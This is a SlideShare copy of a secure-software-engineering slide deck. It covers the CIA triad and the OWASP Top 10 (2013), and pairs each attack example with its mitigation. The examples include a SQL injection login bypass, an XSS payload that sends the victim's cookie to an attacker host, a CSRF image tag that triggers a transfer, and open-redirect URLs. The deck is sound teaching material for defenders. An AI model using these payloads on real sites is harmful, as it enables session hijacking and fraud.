SlideShare a Scribd company logo
R O H I T H A L I Y A N A G A M A
S O F T W A R E A R C H I T E C T
Secure
Software Engineering
Information security
 Information security is the practice of defending
information from unauthorized access, use,
disclosure, disruption, modification, inspection,
recording or destruction ---- Wikipedia
 CIA is a widely used benchmark for evaluation of
information systems security, focusing on the three
core goals
 Confidentiality
 Integrity
 Availability
Confidentiality
 Protects the data from un-authorized disclosure
 Ensures the necessary level of secrecy is enforced at
each junction of data processing
 Confidentiality usually implements encryption
Integrity
 Ensuring that the data is not modified .
 Must ensure accuracy and reliability of the
information and Information Systems.
 Must not allow unauthorized modification
(intentional or accidental)
Availability
 The ability to access data and systems by authorized
parties
 This is very easy to attack and hard to defend
against.
 Attacks are often DoS type attacks. Example of
Availability attack:
 Taking down a power grid
 Stopping stock market trades
OWASP Top 10 Web APP Security Risks( 2013)
 The Open Web Application Security Project
(OWASP) is an open community dedicated to
enabling organizations to develop, purchase, and
maintain applications that can be trusted.
 The goal of the Top 10 project is to raise awareness
about application security by identifying some of the
most critical risks facing organizations
OWASP Top 10 2010 vs. 2013
A1-SQL Injection
 A SQL injection attack consists of insertion or "injection"
of a SQL query via the input data from the client to the
application.
 Example
cmd.CommandText = "select userID from Users where
userID = '" + username + "' and password = '" +
password + "'";
Now let us try to inject some SQL into this page.
Assume hacker' or 1=1-- as username and anything in the
password(even leave it empty).
select userID from Users where userID = 'hacker' or 1=1--' and
password = '‘
http://sqlzoo.net/hack/
A1-Preventing SQL Injection
 Use of Prepared Statements (Parameterized
Queries)
 Use of Stored Procedures
 Escaping all User Supplied Input
 Additional Defenses:
 Also Enforce: Least Privilege
 Also Perform: White List Input Validation
https://www.owasp.org/index.php/SQL_Injection_Prevention_
Cheat_Sheet
A2-Broken Authentication and Session
Management
 Application functions related to authentication and session
management are often not implemented correctly, allowing
attackers to compromise passwords, keys, session tokens etc
 Are credentials always protected when stored using hashing
or encryption?
(http://danielmiessler.com/study/encoding_encryption_has
hing/)
 Can credentials be guessed or overwritten through weak
account management functions (e.g., account creation, change
password, recover password, weak session IDs)?
 Are session IDs exposed in the URL (e.g., URL rewriting)?
 Do session IDs timeout and can users log out?
 Are session IDs rotated after successful login?
 Are passwords, session IDs, and other credentials sent only
over TLS connections? .
A2-Broken Authentication and Session
Management Sample
 Scenario #1: Airline reservations application supports URL
rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSND
LPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know
about the sale. He e-mails the above link without knowing he
is also giving away his session ID. When his friends use the
link they will use his session and credit card.
 Scenario #2: Application’s timeouts aren’t set properly. User
uses a public computer to access site. Instead of selecting
“logout” the user simply closes the browser tab and walks
away. Attacker uses the same browser an hour later, and that
browser is still authenticated.
 Scenario #3: Insider or external attacker gains access to the
system’s password database. User passwords are not
encrypted, exposing every users’ password to the attacker
A3-XSS Attack Scenario
Hacker infects a legitimate web page with his malicious client-side script. When a
user visits this web page the script is downloaded to his browser and executed
A3-Cross-Site Scripting (XSS)
 You need to ensure that all user supplied input sent back to the
browser is properly escaped before it is included in the output
page, or it is verified to be safe via input validation. Proper
output encoding ensures that such input is always treated as
text in the browser, rather than active content.
 Example Attack Scenario
 The application uses un trusted data in the construction of the
following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT‘ value='"
+ request.getParameter("CC") + "'>";
 The attacker modifies the ‘CC’ parameter in their browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
 This causes the victim’s session ID to be sent to the attacker’s
website, allowing the attacker to hijack the user’s current
session.
A3-Prevent XSS
 Properly escape all un trusted data based on the
HTML context (body, attribute, JavaScript, CSS, or
URL) that the data will be placed into.
 Positive or “whitelist” input validation
 Enabled ASP.NET Request Validation
A4-Insecure Direct Object References
 A direct object reference occurs when a developer
exposes a reference to an internal implementation
object, such as a file, directory, database record, or
key, as a URL or form parameter. An attacker can
manipulate direct object references to access other
objects without authorization, unless an access
control check is in place
A4-Example Attack Scenario
 In the example below, even if an application does not
present any links to unauthorized carts, and no SQL
injection is possible, an attacker can still change the
cartID parameter to whatever cart they want.
int cartID = Integer.parseInt( request.getParameter("cartID" ) );
String query = "SELECT * FROM table WHERE cartID=" + cartID;
 As a solution ensure that SQL statements and other
database access methods only allow authorized records
to be shown
String query = "SELECT * FROM table WHERE cartID="
+ cartID + " AND userID=" + user.getID();
A4-Insecure Direct Object References Protection.
 Avoid exposing your private object references to
users whenever possible, such as primary keys or
filenames
 Validate any private object references extensively
with an "accept known good" approach
 Verify authorization to all referenced objects
A5-Security Misconfiguration
 Do you have a process for keeping all your software up to
date? This includes the OS, Web/App Server, DBMS,
applications, and all code libraries (see new A9).
 Is everything unnecessary disabled, removed, or not
installed (e.g. ports, services, pages, accounts,
privileges)?
 Are default account passwords changed or disabled?
 Is your error handling set up to prevent stack traces and
other overly informative error messages from leaking?
 Are the security settings in your development
frameworks (e.g., Struts, Spring, ASP.NET) and libraries
understood and configured properly?
A5-Attack Scenarios
 Scenario #1: The app server admin console is automatically
installed and not removed. Default accounts aren’t changed.
Attacker discovers the standard admin pages are on your
server, logs in with default passwords, and takes over.
 Scenario #2: Directory listing is not disabled on your server.
Attacker discovers she can simply list directories to find any
file. Attacker finds and downloads all your compiled Java
classes, which she reverses to get all your custom code. She
then finds a serious access control flaw in your application.
 Scenario #3: App server configuration allows stack traces to
be returned to users, potentially exposing underlying flaws.
Attackers love the extra information error messages provide.
 Scenario #4: App server comes with sample applications that
are not removed from your production server. Said sample
applications have well known security flaws attackers can use
to compromise your server.
A5-How Do I Prevent This ?
 A repeatable hardening process that makes it fast and
easy to deploy another environment that is properly
locked down. Development, QA, and production
environments should all be configured identically. This
process should be automated to minimize the effort
required to setup a new secure environment.
 A process of deploying all new software updates and
patches in a timely manner to each deployed
environment. This needs to include all code libraries as
well (see new A9).
 Consider running scans and doing audits periodically to
help detect future misconfigurations or missing patches.
A6-Sensitive Data Exposure
 It is encrypted everywhere it is stored long term,
including backups of this data.
 It is encrypted in transit, ideally internally as well as
externally. All internet traffic should be encrypted.
 Strong encryption algorithms are used for all crypto.
 Strong crypto keys are generated, and proper key
management is in place, including key rotation.
 Disable auto complete on forms collecting sensitive
data and disable caching for pages displaying
sensitive data.
A6-Example Attack Scenarios
 Scenario #1: An application encrypts credit card numbers
in a database using automatic database encryption.
However, this means it also decrypts this data
automatically when retrieved, allowing an SQL injection
flaw to retrieve credit card numbers in clear text. The
system should have encrypted the credit card numbers
using a public key, and only allowed back-end
applications to decrypt them with the private key.
 Scenario #2: A site simply doesn’t use SSL for all
authenticated pages. Attacker simply monitors network
traffic (like an open wireless network), and steals the
user’s session cookie. Attacker then replays this cookie
and hijacks the user’s session, accessing all their private
data.
A7-Missing Function Level Access Control
The best way to find out if an application has failed to
properly restrict function level access is to verify every
application function:
 Does the UI show navigation to unauthorized functions?
 Are proper authentication and authorization checked?
 Are checks done on the server without relying on
information provided by the attacker?
Using a proxy, browse your application with a privileged
role. Then revisit restricted pages while logged in as a
less privileged role. Some proxies support this type of
analysis.
A8-Cross-Site Request Forgery (CSRF)
 To check whether an application is vulnerable, see if
each link and form includes an unpredictable token.
Without such a token, attackers can forge malicious
requests. An alternate defense is to require the user
to prove they intended to submit the request, either
through re authentication, or some other proof they
are a real user (e.g., a CAPTCHA).
 Note that session cookies, source IP addresses, and
other information automatically sent by the browser
doesn’t count since this information is also included
in forged requests.
A8-Example Attack Scenario
 The application allows a user to submit a state changing
request that does not include anything secret. For example:
http://example.com/app/transferFunds?amount=1500&destin
ationAccount=4673243243
 So, the attacker constructs a request that will transfer money
from the victim’s account to their account, and then embeds
this attack in an image request like
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />
 If the victim visits any of the attacker’s sites while already
authenticated to example.com these forged requests will
automatically include the user’s session info, authorizing the
attacker’s request.
A8-Prevent CSRF?
 Preventing CSRF usually requires the inclusion of an
unpredictable token in each HTTP request. Such tokens
should, at a minimum, be unique per user session.
 The preferred option is to include the unique token in a
hidden field. This causes the value to be sent in the body
of the HTTP request, avoiding its inclusion in the URL,
which is subject to exposure.
 The unique token can also be included in the URL itself,
or a URL parameter. However, such placement runs the
risk that the URL will be exposed to an attacker, thus
compromising the secret token.
A9-Using Components with Known
Vulnerabilities-How Do I Prevent This?
 One option is not to use components that you didn’t write. But
realistically, the best way to deal with this risk is to ensure
that you keep your components up-to-date.
 Many open source projects (and other component sources) do
not create vulnerability patches for old versions. Instead, most
simply fix the problem in the next version. Software projects
should have a process in place to:
 Identify the components and their versions you are using, including all
dependencies. (e.g., the versions plug-in).
 Monitor the security of these components in public databases, project
mailing lists, and security mailing lists, and keep them up-to-date.
 Establish security policies governing component use, such as requiring
certain software development practices, passing security tests, and
acceptable licenses.
A10-Unvalidated Redirects and Forwards
 Scenario #1: The application has a page called
“redirect.jsp” which takes a single parameter named
“url”. The attacker crafts a malicious URL that
redirects users to a malicious site that performs
phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
A10-How Do I Prevent This?
Safe use of redirects and forwards can be done in a number
of ways:
 Simply avoid using redirects and forwards.
 If used, don’t involve user parameters in calculating the
destination. This can usually be done.
 If destination parameters can’t be avoided, ensure that
the supplied value is valid, and authorized for the user.
It is recommended that any such destination parameters
be a mapping value, rather than the actual URL or
portion of the URL, and that server side code translate
this mapping to the target URL.
A10-Unvalidated Redirects and Forwards on
eBay
 How this attacks to eBay
http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPIC
ommand=RedirectToDomain&DomainUrl=http%3A
%2F%2F%32%31%31%2E%31%37%32%2E%39%36
%2E%37%2FUpdateCenter%2FLogin%2F%3FMfcIS
APISession%3DAAJbaQqzeHAAeMWZlHhlWXS2Al
BXVShqAhQRfhgTDrferHCURstpAisNRqAhQRfhgT
DrferHCURstpAisNRpAisNRqAhQRfhgTDrferHCU
QRfqzeHAAeMWZlHhlWXh
Thank You

More Related Content

What's hot

[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
OWASP
 
ASP.NET security vulnerabilities
ASP.NET security vulnerabilitiesASP.NET security vulnerabilities
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale
OWASP
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Secure coding-guidelines
Secure coding-guidelinesSecure coding-guidelines
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
Penetration and hacking training brief
Penetration and hacking training briefPenetration and hacking training brief
Penetration and hacking training brief
Bill Nelson
 
20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP
chadtindel
 
Finacle - Secure Coding Practices
Finacle - Secure Coding PracticesFinacle - Secure Coding Practices
Finacle - Secure Coding Practices
Infosys Finacle
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
chadtindel
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
Katy Anton
 
Secure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSecure Coding for Java - An Introduction
Secure Coding for Java - An Introduction
Sebastien Gioria
 
[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security
OWASP
 
Web application security
Web application securityWeb application security
Web application security
Kapil Sharma
 
Practical Secure Coding Workshop - {DECIPHER} Hackathon
Practical Secure Coding Workshop - {DECIPHER} HackathonPractical Secure Coding Workshop - {DECIPHER} Hackathon
Practical Secure Coding Workshop - {DECIPHER} Hackathon
Stefan Streichsbier
 
Sharpening your Threat-Hunting Program with ATTACK Framework
Sharpening your Threat-Hunting Program with ATTACK FrameworkSharpening your Threat-Hunting Program with ATTACK Framework
Sharpening your Threat-Hunting Program with ATTACK Framework
MITRE - ATT&CKcon
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
Rick Wanner
 
Introduction to Security Testing
Introduction to Security TestingIntroduction to Security Testing
Introduction to Security Testing
vodQA
 
Web security and OWASP
Web security and OWASPWeb security and OWASP
Web security and OWASP
Isuru Samaraweera
 
Code securely
Code securelyCode securely
Code securely
Maksym Hopei
 
[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS
OWASP
 

What's hot (20)

[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
 
ASP.NET security vulnerabilities
ASP.NET security vulnerabilitiesASP.NET security vulnerabilities
ASP.NET security vulnerabilities
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
 
Secure coding-guidelines
Secure coding-guidelinesSecure coding-guidelines
Secure coding-guidelines
 
Penetration and hacking training brief
Penetration and hacking training briefPenetration and hacking training brief
Penetration and hacking training brief
 
20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP
 
Finacle - Secure Coding Practices
Finacle - Secure Coding PracticesFinacle - Secure Coding Practices
Finacle - Secure Coding Practices
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
 
Secure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSecure Coding for Java - An Introduction
Secure Coding for Java - An Introduction
 
[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security
 
Web application security
Web application securityWeb application security
Web application security
 
Practical Secure Coding Workshop - {DECIPHER} Hackathon
Practical Secure Coding Workshop - {DECIPHER} HackathonPractical Secure Coding Workshop - {DECIPHER} Hackathon
Practical Secure Coding Workshop - {DECIPHER} Hackathon
 
Sharpening your Threat-Hunting Program with ATTACK Framework
Sharpening your Threat-Hunting Program with ATTACK FrameworkSharpening your Threat-Hunting Program with ATTACK Framework
Sharpening your Threat-Hunting Program with ATTACK Framework
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Introduction to Security Testing
Introduction to Security TestingIntroduction to Security Testing
Introduction to Security Testing
 
Web security and OWASP
Web security and OWASPWeb security and OWASP
Web security and OWASP
 
Code securely
Code securelyCode securely
Code securely
 
[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS
 

Similar to Secure Software Engineering

Security Awareness
Security AwarenessSecurity Awareness
Security Awareness
Lucas Hendrich
 
Owasp web security
Owasp web securityOwasp web security
Owasp web security
Pankaj Kumar Sharma
 
A talk on OWASP Top 10 by Mukunda Tamly
A talk on  OWASP Top 10 by Mukunda TamlyA talk on  OWASP Top 10 by Mukunda Tamly
A talk on OWASP Top 10 by Mukunda Tamly
null - The Open Security Community
 
Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01Richard Sullivan
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
Sperasoft
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
bilcorry
 
C01461422
C01461422C01461422
C01461422
IOSR Journals
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
Benjamin Floyd
 
Securing the Web @RivieraDev2016
Securing the Web @RivieraDev2016Securing the Web @RivieraDev2016
Securing the Web @RivieraDev2016
Sumanth Damarla
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
SamsonMuoki
 
Security For Application Development
Security For Application DevelopmentSecurity For Application Development
Security For Application Development
6502programmer
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
Sebastien Deleersnyder
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
YasserElsnbary
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
SilverGold16
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
IBM Security
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
Zakaria SMAHI
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
John Ombagi
 
gpt.AI.docx
gpt.AI.docxgpt.AI.docx
gpt.AI.docx
ssuser233ed8
 

Similar to Secure Software Engineering (20)

Security Awareness
Security AwarenessSecurity Awareness
Security Awareness
 
Owasp web security
Owasp web securityOwasp web security
Owasp web security
 
A talk on OWASP Top 10 by Mukunda Tamly
A talk on  OWASP Top 10 by Mukunda TamlyA talk on  OWASP Top 10 by Mukunda Tamly
A talk on OWASP Top 10 by Mukunda Tamly
 
Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01Soteria Cybersecurity Healthcheck-FB01
Soteria Cybersecurity Healthcheck-FB01
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
C01461422
C01461422C01461422
C01461422
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
 
Securing the Web @RivieraDev2016
Securing the Web @RivieraDev2016Securing the Web @RivieraDev2016
Securing the Web @RivieraDev2016
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
 
Security For Application Development
Security For Application DevelopmentSecurity For Application Development
Security For Application Development
 
ieee
ieeeieee
ieee
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
gpt.AI.docx
gpt.AI.docxgpt.AI.docx
gpt.AI.docx
 

Secure Software Engineering

  • 1. R O H I T H A L I Y A N A G A M A S O F T W A R E A R C H I T E C T Secure Software Engineering
  • 2. Information security  Information security is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, inspection, recording or destruction ---- Wikipedia  CIA is a widely used benchmark for evaluation of information systems security, focusing on the three core goals  Confidentiality  Integrity  Availability
  • 3. Confidentiality  Protects the data from un-authorized disclosure  Ensures the necessary level of secrecy is enforced at each junction of data processing  Confidentiality usually implements encryption
  • 4. Integrity  Ensuring that the data is not modified .  Must ensure accuracy and reliability of the information and Information Systems.  Must not allow unauthorized modification (intentional or accidental)
  • 5. Availability  The ability to access data and systems by authorized parties  This is very easy to attack and hard to defend against.  Attacks are often DoS type attacks. Example of Availability attack:  Taking down a power grid  Stopping stock market trades
  • 6. OWASP Top 10 Web APP Security Risks( 2013)  The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted.  The goal of the Top 10 project is to raise awareness about application security by identifying some of the most critical risks facing organizations
  • 7. OWASP Top 10 2010 vs. 2013
  • 8. A1-SQL Injection  A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.  Example cmd.CommandText = "select userID from Users where userID = '" + username + "' and password = '" + password + "'"; Now let us try to inject some SQL into this page. Assume hacker' or 1=1-- as username and anything in the password(even leave it empty). select userID from Users where userID = 'hacker' or 1=1--' and password = '‘ http://sqlzoo.net/hack/
  • 9. A1-Preventing SQL Injection  Use of Prepared Statements (Parameterized Queries)  Use of Stored Procedures  Escaping all User Supplied Input  Additional Defenses:  Also Enforce: Least Privilege  Also Perform: White List Input Validation https://www.owasp.org/index.php/SQL_Injection_Prevention_ Cheat_Sheet
  • 10. A2-Broken Authentication and Session Management  Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens etc  Are credentials always protected when stored using hashing or encryption? (http://danielmiessler.com/study/encoding_encryption_has hing/)  Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?  Are session IDs exposed in the URL (e.g., URL rewriting)?  Do session IDs timeout and can users log out?  Are session IDs rotated after successful login?  Are passwords, session IDs, and other credentials sent only over TLS connections? .
  • 11. A2-Broken Authentication and Session Management Sample  Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JSND LPSKHCJUN2JV?dest=Hawaii An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.  Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.  Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every users’ password to the attacker
  • 12. A3-XSS Attack Scenario Hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed
  • 13. A3-Cross-Site Scripting (XSS)  You need to ensure that all user supplied input sent back to the browser is properly escaped before it is included in the output page, or it is verified to be safe via input validation. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content.  Example Attack Scenario  The application uses un trusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";  The attacker modifies the ‘CC’ parameter in their browser to: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.  This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
  • 14. A3-Prevent XSS  Properly escape all un trusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into.  Positive or “whitelist” input validation  Enabled ASP.NET Request Validation
  • 15. A4-Insecure Direct Object References  A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place
  • 16. A4-Example Attack Scenario  In the example below, even if an application does not present any links to unauthorized carts, and no SQL injection is possible, an attacker can still change the cartID parameter to whatever cart they want. int cartID = Integer.parseInt( request.getParameter("cartID" ) ); String query = "SELECT * FROM table WHERE cartID=" + cartID;  As a solution ensure that SQL statements and other database access methods only allow authorized records to be shown String query = "SELECT * FROM table WHERE cartID=" + cartID + " AND userID=" + user.getID();
  • 17. A4-Insecure Direct Object References Protection.  Avoid exposing your private object references to users whenever possible, such as primary keys or filenames  Validate any private object references extensively with an "accept known good" approach  Verify authorization to all referenced objects
  • 18. A5-Security Misconfiguration  Do you have a process for keeping all your software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries (see new A9).  Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?  Are default account passwords changed or disabled?  Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?  Are the security settings in your development frameworks (e.g., Struts, Spring, ASP.NET) and libraries understood and configured properly?
  • 19. A5-Attack Scenarios  Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.  Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then finds a serious access control flaw in your application.  Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.  Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.
  • 20. A5-How Do I Prevent This ?  A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.  A process of deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well (see new A9).  Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.
  • 21. A6-Sensitive Data Exposure  It is encrypted everywhere it is stored long term, including backups of this data.  It is encrypted in transit, ideally internally as well as externally. All internet traffic should be encrypted.  Strong encryption algorithms are used for all crypto.  Strong crypto keys are generated, and proper key management is in place, including key rotation.  Disable auto complete on forms collecting sensitive data and disable caching for pages displaying sensitive data.
  • 22. A6-Example Attack Scenarios  Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key.  Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing all their private data.
  • 23. A7-Missing Function Level Access Control The best way to find out if an application has failed to properly restrict function level access is to verify every application function:  Does the UI show navigation to unauthorized functions?  Are proper authentication and authorization checked?  Are checks done on the server without relying on information provided by the attacker? Using a proxy, browse your application with a privileged role. Then revisit restricted pages while logged in as a less privileged role. Some proxies support this type of analysis.
  • 24. A8-Cross-Site Request Forgery (CSRF)  To check whether an application is vulnerable, see if each link and form includes an unpredictable token. Without such a token, attackers can forge malicious requests. An alternate defense is to require the user to prove they intended to submit the request, either through re authentication, or some other proof they are a real user (e.g., a CAPTCHA).  Note that session cookies, source IP addresses, and other information automatically sent by the browser doesn’t count since this information is also included in forged requests.
  • 25. A8-Example Attack Scenario  The application allows a user to submit a state changing request that does not include anything secret. For example: http://example.com/app/transferFunds?amount=1500&destin ationAccount=4673243243  So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request like <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />  If the victim visits any of the attacker’s sites while already authenticated to example.com these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
  • 26. A8-Prevent CSRF?  Preventing CSRF usually requires the inclusion of an unpredictable token in each HTTP request. Such tokens should, at a minimum, be unique per user session.  The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.  The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.
  • 27. A9-Using Components with Known Vulnerabilities-How Do I Prevent This?  One option is not to use components that you didn’t write. But realistically, the best way to deal with this risk is to ensure that you keep your components up-to-date.  Many open source projects (and other component sources) do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. Software projects should have a process in place to:  Identify the components and their versions you are using, including all dependencies. (e.g., the versions plug-in).  Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up-to-date.  Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.
  • 28. A10-Unvalidated Redirects and Forwards  Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com
  • 29. A10-How Do I Prevent This? Safe use of redirects and forwards can be done in a number of ways:  Simply avoid using redirects and forwards.  If used, don’t involve user parameters in calculating the destination. This can usually be done.  If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.
